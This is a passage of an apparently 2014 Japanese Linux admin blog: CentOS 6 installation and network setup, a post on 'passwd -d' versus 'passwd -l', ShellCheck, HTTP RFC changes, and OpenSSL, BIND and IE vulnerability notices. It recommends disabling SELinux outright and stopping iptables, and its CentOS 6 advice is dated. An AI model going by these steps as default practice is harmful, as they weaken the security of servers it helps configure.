          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:4 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:272 (272.0 b)  TX bytes:272 (272.0 b)
"eth0"が有効化され、きちんと設定されています。

これでリモート接続ができる環境になりましたね。
次からSSH接続して作業を行っていきます。

ネットワーク周りの設定


redhat/CentOSであれば、自動起動でSSHは起動していますので、
この時点ではSSHでrootユーザーからも接続が可能です。
しかし、同じネットワーク帯なら接続できますが、デフォルトでiptablesも設定されているため、
上手く接続できない場合は一旦停止しておきましょう。
※作業サーバが公開されていない事が大前提です。FWの外側、外部からアクセスできる環境にサーバがある場合、不用意には無効化してはいけません。
# service iptables off

ホスト名の確認。
インストール時に設定してホスト名になっていますか?
# cat /etc/sysconfig/network
NETWORKING=yes
HOSTNAME=devos-01
設定したホスト名に特にDNS設定を行わない、完全修飾ドメインで無いのであればhostsに登録します。
# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.247.128  devos-01
DNSサーバの設定。
キャッシュDNSサーバを設定します。
内部にキャッシュDNSがあればそこを、無ければGoogleのキャッシュDNSサーバとかでいいんじゃないですかね。
# vim /etc/resolv.conf
nameserver 192.168.247.2

NetworkManagerを利用している場合、NICにDNSサーバの情報を記載します。
NICにPEERDNSの記述がnoで設定してある場合、NICの設定が優先されます。

固定IPを設定する場合APIPAを無効化しましょう。
# vim /etc/sysconfig/network
NOZEROCONF=yes
IPv6の無効化。
今後はどうなんでしょうね?
サービスやネットワークで利用しないのであれば無効化しておきましょう。
# vim /etc/sysconfig/network
IPV6INIT=no
NETWORKING_IPV6=no
IPV4_FAILRE_FATAL=yes
# vim /etc/modprobe.d/dist-ipv6.conf
options ipv6 disable=1

ネットワークを再起動して、設定を反映させましょう。
modprobeの設定は再起動しないとですが、ネットワークの設定変更後にすぐ再起動は少し怖いですからね.
# service network restart

ちなみに、IPアドレスを変更しないでネットワークを再起動した場合、下記のようなメッセージが出る場合あります。
インターフェース eth0 を活性化中:  Determining if ip address 10.96.146.152 is already in use for device eth0...
NIC設定を反映させる際、スクリプトは設定されたIPアドレスが使用可能かどうか、
arpingコマンドによりチェックを行なう処理が入っているらしい。

echo $"Determining if ip address ${ipaddr[$idx]} is already in use for device ${REALDEVICE}..."
      if ! /sbin/arping -q -c 2 -w 3 -D -I ${REALDEVICE} ${ipaddr[$idx]} ; then
            net_log $"Error, some other host already uses address ${ipaddr[$idx]}."
            exit 1
      fi

そのため、IPを変えたりせずに再起動を行なうと、arpキャッシュ自体はあるので、
すでに使用済みですよ!というメッセージが表示される事になる。
NIC設定ファイルにarpチェックを行なわないよう、下記記述を追加する事もできます
ARPCHECK=no

SELinuxの無効化


私もSELinux無効化派です。
余計な管理やミドルウェアの動きを妨げる可能性があるので、無効化しましょう。
# vim /etc/selinux/config
SELINUX=disabled

設定を反映させるため、一回サーバを再起動しましょう。

再起動後設定が反映されているか確認しましょう。
# getenforce
Disabled
# modprobe -c |grep ipv6
options ipv6 disable=1
---
よっしゃー!次は標準パッケージを少しカスタマイズしていきましょう。



プロのための Linuxシステム構築・運用技術 (Software Design plus)
中井 悦司
技術評論社
売り上げランキング: 101,118

Linuxサーバを作る


7系が出て、色々変わって騒がれていますが、
もう少し安定バージョンX.3~くらいになるまではまだまだ6系がメインでしょ!と思い。

Redhat/CentOSの6系OSの設定作業について、簡単に一回纏めとこうと思います。
今回設定するのは当然、フリーのCentOSです。

CentOSのインストール

インストールメディアの準備


まずインストールメディアを入手しましょう。
そもそもクラウドメインの最近ではインストール自体、やらない作業になってきていますね。

CentOSのメディアは下記サイトからダウンロード可能です。
http://www.centos.org/download/

昔に比べて分かりにくくなった気がしますが、ミラーリストの近くて早いサイトから落とします。
参考までに、日本だと"riken"が安定しているかもしれません。
ここからインストールメディアを作成するためのISOファイルを入手し、インストールします。
私はあまり余計なパッケージを最初から入れたくないので、
必要最低限がパッケージされている"minimal"を入手します。

OSのインストール


今回はVM仮想にインストールするので、ISOファイルそのままインストールを行いましょう。
VM環境の準備は今回は割愛。
ISOからブートするとインストールウィザードが始まります。
※GUIでのインストールを行うにはサーバのメモリが652MB以上でないとコマンドインストールになります。
インストール言語を選択。
キーボード言語を選択。
インストールするサーバのストレージタイプを選択。
SANとかではなく、サーバローカルにインストールするのでそのまま。
インストールディスク内容の確認。
今回は初めてのインストールでハードディスク上にデータは無いため無視してインストール。
既存サーバの空きパーティションにインストールする場合なんかは「いいえ」を選択。
ホスト名(サーバ名)の入力。後で変更可能です。


次にネットワークの設定。後で変更可能。
インストール後に設定でも大丈夫です。
サーバ時刻の設定。後で変更可能。
管理者ユーザー(root)アカウントのパスワード設定。後で変更可能。
管理者ユーザーの権限は絶大です。公開するサーバであればきちんとセキュリティの高いパスワードを設定しましょう。
インストールパーティションの選択。
インストールサーバのパーティションと相談し決めましょう。
特にキメが無いのであれば、LVMを利用したフル領域のインストールでいいと思います。
※「システムを暗号化する」にチェックを入れた場合、起動時に認証処理が走り成功しないと起動しません。
  サービス用サーバとして使う場合、自動起動してこないので注意が必要です。
※インストールディスクのサイズが50GB以上で、「全ての領域を使用する」を選択した場合、
  勝手にLVMパーティションが区切られてます。
  ある程度のディスクサイズ以上のサーバにインストールする場合、チェックを入れて必ず確認しましょう。

好みでカスタマイズするのもアリです。
私はboot領域に500MBもいらないと思うので、少し調整したりします。
パーティションの推奨値についてはredhatのインストールガイドを参考にしています。
ここで問題なければ「次へ」を押した後、ディスクのフォーマットが始まり、パーティションが構成されます。
ここで間違いがあった場合、再インストールになりかねないのできちんと確認します。
ここまでくればほぼ終了。
後ははいはいでインストールは進みます。
ちなみに、フルパッケージのインストールメディアでインストールを行っていた場合、
このインストール画面の前に、どのパッケージを入れるか選択画面があります。
今回はminimalパッケージと最初からしているので割愛。
これでインストール完了です。お疲れ様でした。
最後に再起動しましょう。

次はサーバとして活躍できるよう、OSの設定を行います。


できるPRO CentOS 6 サーバー (できるプロシリーズ)
辻 秀典 渡辺 高志 できるシリーズ編集部
インプレスジャパン
売り上げランキング: 86,051

2014/07/19

GitBucketを使用しよう

chefの連携や、今となってはスタンダードとなったGit開発について、
いざGitの勉強や、捜査に慣れるため。

また、社内にプライベートレポジトリを持てるようGitHubのような環境が欲しいと思い、
色々調べてみたのですが、
なんといってもインストールがめんどくさい!
こういうものはあまり基盤側に負担をかけたくない。

インストーラー一つ位で簡単にできるの無いかな~と思い調べてみたら
「GitBucket」というJavaアプリをデプロイするだけの簡単GitHubクローンがある!

早速インストールしてみた!

>> 続きを読む


GitHub実践入門 ~Pull Requestによる開発の変革 (WEB+DB PRESS plus)
大塚 弘記
技術評論社
売り上げランキング: 3,794

2014/06/28

Linux パスワードのロック


AWSの登場ごろから、ユーザーにパスワードを設定せず
鍵認証でのアクセス方法がスタンダードになってきた気がします。

しかしOS上はsudo等で利用するためパスワードは設定しておきたい所です。
そんな環境でテストを行っているときに、少し怖かったこと。

テストを行う上で、きちんとパスワード認証が弾かれるか、
パスワードではなく鍵認証でログインできるかを確認するために、
パスワードを設定したり、空にしたりしたかったのですが。

いつもパスワードを空にする際には

# passwd -d hogehoge
とやっていたのですが、ふとシャドウファイルを見てみると

# view /etd/shadow
~省略
hogehoge::16248:0:99999:7:::
あれ?「!!」になっていない?

よくよく調べてみると


# man passwd
~省略
あるアカウントのパスワードを直ちに期限切れにしたい場合は、 -e オプションを用いればよい。するとそのユーザは次に
ログインする際にパスワードを変更するよう強制される。 -d オプションを使って、ユーザのパスワードを削除することも
できる (パスワードが空になる)。このオプションは注意して使うこと。これを使うと、そのアカウントはログインにパ ス
ワードを全く必要としなくなり、システムが侵入者に対してオープンになってしまう。


おいおい!
ためしにSSHやFTPしてみたらどんなパスワードでもログインできた!
じゃぁいったいどうしたらよいのか?

パスワードが設定されていない場合、シャドウファイルには「!!」と書かれている
確かに passwd -d では パスワードの項目が空にはなっていても、!!にはなっていない。
ん~あまり直接このファイルを弄るのはスマートでは無い気がする。というか駄目でしょ。

調べてみたら、そもそもパスワードの無効化とか、空にする、という考え方から違った
/etc/shadow のパスワード欄にある「!!」 は パスワードが空という意味ではなく
パスワードが無効化され「ロック」状態ですよという事だった。

確認

# passwd -d hogehoge
hogehoge::16248:0:99999:7:::


# passwd -l  hogehoge
hogehoge:!!:16248:0:99999:7:::

おお!確かに。



# man passwd
-l フラグと -u フラグを用いると、ユーザアカウントをロックしたり、そのロックを外したりできる。 -l オプションを
用いると、パスワードフィールドの値は暗号化された如何なる値ともマッチしなくなり、アカウントは使用不能にな る 。

改めてネット情報を鵜呑みにすることの怖さ、man という基本的なところの大切さを学びました。
今まで・・・考えないようにしておこう。


プロのための Linuxシステム構築・運用技術 (Software Design plus)
中井 悦司
技術評論社
売り上げランキング: 35,867

2014/06/14

シェルスクリプト 文法チェックしてる?


確かに!

シェルスクリプトを作成するとき、動くこと、ロジックに問題が無いことは確認するけど、
Bashが推奨しているコマンドの実行方法、書き方なんて意識した事なかった。

下記がまるでHTMLみたいにレビューしてくれるサイト

Shell Check


多少レビュー結果に怪しいところ、読み込みの精度に怪しいところがありますが、
結構参考に、というか勉強になります。


Linuxシステム[実践]入門 (Software Design plus)
沓名 亮典
技術評論社
売り上げランキング: 50,304

HTTPの標準規格が改定


ひっそりと、HTTPのRFCが改定されたようです。

改定されたのは15年ぶりということですが、
変更は、曖昧さの排除や、無駄な空白文字や改行の排除など、
セキュリティを強化する方向への変更だそうです。

HTTP/2.0になったわけでも、大きな変更があるわけではないですが、
この業界の人は最低限チェックしておきましょう。

主な変更点下記のような内容

  • 圧縮方式からidenty 方式がなくなった
  • HTTP/HTTPSのURIに、ユーザ名やパスワードなどの情報を付加することが禁止になった
  • 圧縮形式の定義は、IETFへの登録と認可が必要になった
  • HTTP/0.9のサポートが必要ではなくなった
  • HTTPメッセージのバッファリングを許容
  • 無効な空白文字が含まれるメッセージをリジェクトすることが求められるようになった
  • 空白文字の使用箇所は明示的に提示された
  • NUL文字をコメントなどに含めることは許容されなくなった
  • エスケープ文字としてのバックスラッシュの使い方を明確にした
  • ヘッダフィールド内の非US-ASCIIコンテンツは廃止(テキストルールから削除)
  • 空のリストは禁止された
  • ヘッダーに改行を含む記述をすることは排除された
  • エラー処理の説明を追加
  • コンテンツ長ヘッダが偽造されていた場合、エラーとして処理することが求められるようになった
  • チャンクでの転送時のチャンク長はヘッダーとトレーラーを含まないこととした。
  • HTTPのHeaderのVersion フィールドにのせるバージョン名"HTTP/1.1"が大文字限定になり番号の桁数も1桁限定になった
  • メッセージ長を決定するアルゴリズムでの例外を排除し、より明確になった
  • deflateの定義明確になった
  • Upgadeヘッダーの構文が明確になった
  • OPTIONメソッドによる共有の制限
  • "Effective Request URI"が新たに定義された。
  • ゲートウェイが、VIA ヘッダを付加する必要がなくなった
  • CLOSEを送信すべきタイミングを明確にした。
  • サーバーあたり2接続数の制限がなくなりました。
  • KEEP-ALIVE の問題を記述し、クライアントが、REQにProxy-Connectionヘッダーを含めないように推奨している。
  • RFC2818で定義されていたHTTPSのURIスキームがRFC7230で定義されるようになった
  • RFC2817の7.2に記載されていた "Hypertext Transfer Protocol (HTTP) Upgrade Token Registry"が 8.6に収容された

簡単に調べた範囲での情報なので、下記サイトも参考に再確認しましょう。
世界は急には変わりませんが、意外に気になるものもあるので、チェックチェック。

Webを支える技術 -HTTP、URI、HTML、そしてREST (WEB+DB PRESS plus)
山本 陽平
技術評論社
売り上げランキング: 31,535

Open SSL Change Cipher Spec メッセージ処理の脆弱性

最近何かとトレンドのOpenSSLさん。

脆弱性が、バグが無くなるなんて思ってもいないけど、
ちょっと周期が早くないですかね。

IPA上では危険度は「警告」程度ですが
「OpenSSL」における Change Cipher Spec メッセージ処理の脆弱性対策について
OpenSSL における Change Cipher Spec メッセージの処理に脆弱性

「もし」の場合の危険度は結構高めなので、
またまた対応に追われるはめに。



OpenSSL―暗号・PKI・SSL/TLSライブラリの詳細―
John Viega Matt Messier Pravir Chandra 齋藤 孝道
オーム社
売り上げランキング: 143,921

2014/05/11

BIND 9.10.0の脆弱性(DNSサービスの停止)について


まだまだ終わらせない!
脆弱性ラーッシュ!


ま
脆弱性なんて毎日報告されているので
いい加減慣れてきましたが、
対象がBindなのでなおさらです。

今回の問題は、名前解決のパフォーマンス向上を目的に、
キャッシュ済みのリソースレコードをキャッシュの満了前に自動的に再検索する
先読みのような機能「プリフェッチ(prefetch)」という機能の脆弱性。

BIND 9.10で実装された新しい機能で
RedHat等配布のRPMはまだ新しく提供されたばっかりなので
対象サーバは少ないかもしれませんが
サービス停止は中々穏やかではないので、指示にある対応を実施しましょう。

>> 続きを読む


DNS & BIND 第5版
DNS & BIND 第5版
posted with amazlet at 14.05.11
Cricket Liu Paul Albitz
オライリージャパン
売り上げランキング: 184,521

2014/05/03

Internet Explorer の脆弱性


最近、「致命的な脆弱性」が多い気がする
おかげでちょっとの脆弱性でもクライアントが大騒ぎです。

まぁ今回IE脆弱性は使わなければよかったんですけど
未だに対象ブラウザーをIE推奨でアプリケーションを作ることが多いので
説明しなければいけないという問題が手間でした。


その時にググってて知ったのですが
「インターネットがヤバい!」「ぶらうざ?」「パッチ?」「対策方法がわからない!」
等本当にあるんですね。

きっと、だから攻撃も、詐欺もなくならないんでしょう
日本はITリテラシーが高いそうですが
IT技術は進歩する、そして完成はしないということを
改めて認識するいい機会だったのかもしれません。


  • セキュリティ情報



ちなみに私はChrome派です。
IEは・・・社内システムやアプリ検証ぐらいしか利用しませんね。



Adobe Acrobat X Standard Windows版 (Acrobat 11への無償アップグレード対象 2012/12/30まで)
アドビシステムズ (2010-12-01)
売り上げランキング: 1,915